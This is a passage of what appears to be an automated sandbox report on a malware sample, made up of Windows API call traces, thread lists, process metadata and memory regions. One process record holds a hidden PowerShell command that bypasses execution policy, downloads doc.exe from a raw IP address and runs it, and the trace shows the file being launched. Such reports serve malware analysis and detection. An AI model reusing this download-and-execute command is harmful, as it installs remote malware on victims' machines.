lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0207.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0208.225] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e6c0 | out: phkResult=0x5a2e6c0*=0x464) returned 0x0 [0208.225] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x0, lpcbData=0x5a2e6dc*=0x0 | out: lpType=0x5a2e6e0*=0x1, lpData=0x0, lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.226] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x25be2e0, lpcbData=0x5a2e6dc*=0x56 | out: lpType=0x5a2e6e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.226] RegCloseKey (hKey=0x464) returned 0x0 [0208.226] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e6c0 | out: phkResult=0x5a2e6c0*=0x464) returned 0x0 [0208.226] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x0, lpcbData=0x5a2e6dc*=0x0 | out: lpType=0x5a2e6e0*=0x1, lpData=0x0, lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.226] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x25be5f4, lpcbData=0x5a2e6dc*=0x56 | out: lpType=0x5a2e6e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.226] RegCloseKey (hKey=0x464) returned 0x0 [0208.227] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e6c0 | out: phkResult=0x5a2e6c0*=0x464) returned 0x0 [0208.227] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x0, lpcbData=0x5a2e6dc*=0x0 | out: lpType=0x5a2e6e0*=0x1, lpData=0x0, lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.227] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x25be8f0, lpcbData=0x5a2e6dc*=0x56 | out: lpType=0x5a2e6e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.227] RegCloseKey (hKey=0x464) returned 0x0 [0208.228] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e6c0 | out: phkResult=0x5a2e6c0*=0x464) returned 0x0 [0208.228] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x0, lpcbData=0x5a2e6dc*=0x0 | out: lpType=0x5a2e6e0*=0x1, lpData=0x0, lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.228] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e6e0, lpData=0x25bec04, lpcbData=0x5a2e6dc*=0x56 | out: lpType=0x5a2e6e0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e6dc*=0x56) returned 0x0 [0208.228] RegCloseKey (hKey=0x464) returned 0x0 [0208.228] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e70c | out: phkResult=0x5a2e70c*=0x464) returned 0x0 [0208.228] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e72c, lpData=0x0, lpcbData=0x5a2e728*=0x0 | out: lpType=0x5a2e72c*=0x1, lpData=0x0, lpcbData=0x5a2e728*=0x56) returned 0x0 [0208.228] RegQueryValueExW (in: hKey=0x464, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2e72c, lpData=0x25bef00, lpcbData=0x5a2e728*=0x56 | out: lpType=0x5a2e72c*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2e728*=0x56) returned 0x0 [0208.228] RegCloseKey (hKey=0x464) returned 0x0 [0208.301] CoTaskMemAlloc (cb=0x20c) returned 0x5bcd290 [0208.301] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x5bcd290 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0208.302] CoTaskMemFree (pv=0x5bcd290) [0208.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0208.302] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0208.302] EtwEventActivityIdControl () returned 0x0 [0208.303] SetEvent (hEvent=0x45c) returned 1 [0208.304] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2ea68*=0x45c, lpdwindex=0x5a2e88c | out: lpdwindex=0x5a2e88c) returned 0x0 [0208.304] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e9a4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0208.305] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2eb60 | out: lpConsoleScreenBufferInfo=0x5a2eb60) returned 1 [0208.306] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2eb60 | out: lpConsoleScreenBufferInfo=0x5a2eb60) returned 1 [0208.487] EtwEventActivityIdControl () returned 0x0 [0208.487] EtwEventActivityIdControl () returned 0x0 [0208.487] EtwEventActivityIdControl () returned 0x0 [0208.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e948, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0208.503] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0208.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0208.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", nBufferLength=0x2b, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpFilePart=0x0) returned 0x2a [0208.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7f0) returned 1 [0208.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe"), fInfoLevelId=0x0, lpFileInformation=0x5a2eab4 | out: lpFileInformation=0x5a2eab4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe59bb710, ftCreationTime.dwHighDateTime=0x1d7b45b, ftLastAccessTime.dwLowDateTime=0xe59bb710, ftLastAccessTime.dwHighDateTime=0x1d7b45b, ftLastWriteTime.dwLowDateTime=0xe7058810, ftLastWriteTime.dwHighDateTime=0x1d7b45b, nFileSizeHigh=0x0, nFileSizeLow=0x9ba00)) returned 1 [0208.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e7ec) returned 1 [0208.505] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe")) returned 0x2020 [0208.509] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.514] LocalAlloc (uFlags=0x0, uBytes=0x56) returned 0x426180 [0208.514] LocalAlloc (uFlags=0x0, uBytes=0x36) returned 0x5bb8370 [0208.516] ShellExecuteExW (in: pExecInfo=0x25d5afc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25d5afc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kEecfMwgj\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5ac)) returned 1 [0209.526] LocalFree (hMem=0x426180) returned 0x0 [0209.526] LocalFree (hMem=0x5bb8370) returned 0x0 [0209.526] EtwEventActivityIdControl () returned 0x0 [0209.527] EtwEventActivityIdControl () returned 0x0 [0209.527] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.528] EtwEventActivityIdControl () returned 0x0 [0209.529] SetEvent (hEvent=0x354) returned 1 [0209.529] SetEvent (hEvent=0x348) returned 1 [0209.529] SetEvent (hEvent=0x34c) returned 1 [0209.529] SetEvent (hEvent=0x350) returned 1 [0209.529] SetEvent (hEvent=0x364) returned 1 [0209.529] SetEvent (hEvent=0x358) returned 1 [0209.529] SetEvent (hEvent=0x35c) returned 1 [0209.529] SetEvent (hEvent=0x360) returned 1 [0209.529] SetEvent (hEvent=0x368) returned 1 [0209.529] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2f2c0*=0x370, lpdwindex=0x5a2f0e4 | out: lpdwindex=0x5a2f0e4) returned 0x0 [0209.651] SetThreadUILanguage (LangId=0x0) returned 0x409 [0209.653] CoCreateGuid (in: pguid=0x5a2f12c | out: pguid=0x5a2f12c*(Data1=0xb7bb95f7, Data2=0x1fae, Data3=0x420a, Data4=([0]=0xbc, [1]=0xa, [2]=0xa6, [3]=0x9, [4]=0xc1, [5]=0x39, [6]=0x5f, [7]=0xd6))) returned 0x0 [0209.653] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f10c | out: lpPerformanceCount=0x5a2f10c*=1264067612146) returned 1 [0209.657] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2f0d4 | out: lpPerformanceCount=0x5a2f0d4*=1264068078074) returned 1 [0209.658] EtwEventActivityIdControl () returned 0x0 [0209.658] EtwEventActivityIdControl () returned 0x0 [0209.658] EtwEventActivityIdControl () returned 0x0 [0209.659] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x5a2ec80*=0x5a0, lpdwindex=0x5a2eb44 | out: lpdwindex=0x5a2eb44) returned 0x0 [0209.660] SetEvent (hEvent=0x560) returned 1 [0209.660] SetEvent (hEvent=0x5a0) returned 1 [0209.660] EtwEventActivityIdControl () returned 0x0 [0209.660] SetEvent (hEvent=0x5b0) returned 1 [0209.660] SetEvent (hEvent=0x560) returned 1 [0209.660] SetEvent (hEvent=0x5a0) returned 1 [0209.660] SetEvent (hEvent=0x5c0) returned 1 [0209.660] SetEvent (hEvent=0x5b4) returned 1 [0209.661] SetEvent (hEvent=0x5b8) returned 1 [0209.661] SetEvent (hEvent=0x5bc) returned 1 [0209.661] SetEvent (hEvent=0x5c4) returned 1 [0209.661] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a2f2c0*=0x370, lpdwindex=0x5a2f0e4 | out: lpdwindex=0x5a2f0e4) returned 0x0 [0210.483] CoGetContextToken (in: pToken=0x5a2f6ac | out: pToken=0x5a2f6ac) returned 0x0 [0210.484] CoUninitialize () Thread: id = 147 os_tid = 0xab4 Thread: id = 150 os_tid = 0xc20 Thread: id = 154 os_tid = 0x9d4 [0165.715] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0165.717] CoGetContextToken (in: pToken=0x45cf514 | out: pToken=0x45cf514) returned 0x0 [0165.717] CObjectContext::QueryInterface () returned 0x0 [0165.717] CObjectContext::GetCurrentThreadType () returned 0x0 [0165.717] Release () returned 0x0 [0165.717] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0165.717] CoUninitialize () [0182.420] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0182.421] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.421] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0182.423] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.424] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0182.425] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0182.425] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0182.427] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0182.428] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0182.428] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0182.428] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0182.432] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0182.432] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0182.432] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0182.433] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0182.433] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0182.434] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0182.434] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0182.434] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0182.435] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0182.435] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.435] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0182.436] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0182.436] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0182.436] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.455] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 Thread: id = 157 os_tid = 0x9c4 [0170.112] CoGetContextToken (in: pToken=0x5bafce4 | out: pToken=0x5bafce4) returned 0x0 [0170.112] CObjectContext::QueryInterface () returned 0x0 [0170.112] CObjectContext::GetCurrentThreadType () returned 0x0 [0170.112] Release () returned 0x0 [0170.112] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 160 os_tid = 0x998 Thread: id = 165 os_tid = 0x548 Thread: id = 190 os_tid = 0x94 Thread: id = 194 os_tid = 0xc98 Thread: id = 199 os_tid = 0xc90 Thread: id = 203 os_tid = 0xc80 Thread: id = 205 os_tid = 0xcd4 Thread: id = 212 os_tid = 0xd20 Thread: id = 216 os_tid = 0xd78 Thread: id = 219 os_tid = 0xd4c Thread: id = 221 os_tid = 0xcec Thread: id = 223 os_tid = 0xd84 Thread: id = 224 os_tid = 0xd8c Thread: id = 234 os_tid = 0xddc Process: id = "5" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x33956000" os_pid = "0xef4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd40" cmd_line = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe');Start-Process 'C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe'\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 967 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 968 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 969 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 970 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 971 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 972 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 973 start_va = 0x220000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 974 start_va = 0xc40000 end_va = 0xcaafff monitored = 0 entry_point = 0xc4d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 975 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 976 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 977 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 978 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 979 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 980 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 981 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 982 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 983 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 989 start_va = 0x180000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 990 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 991 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 992 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 993 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 994 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 995 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = 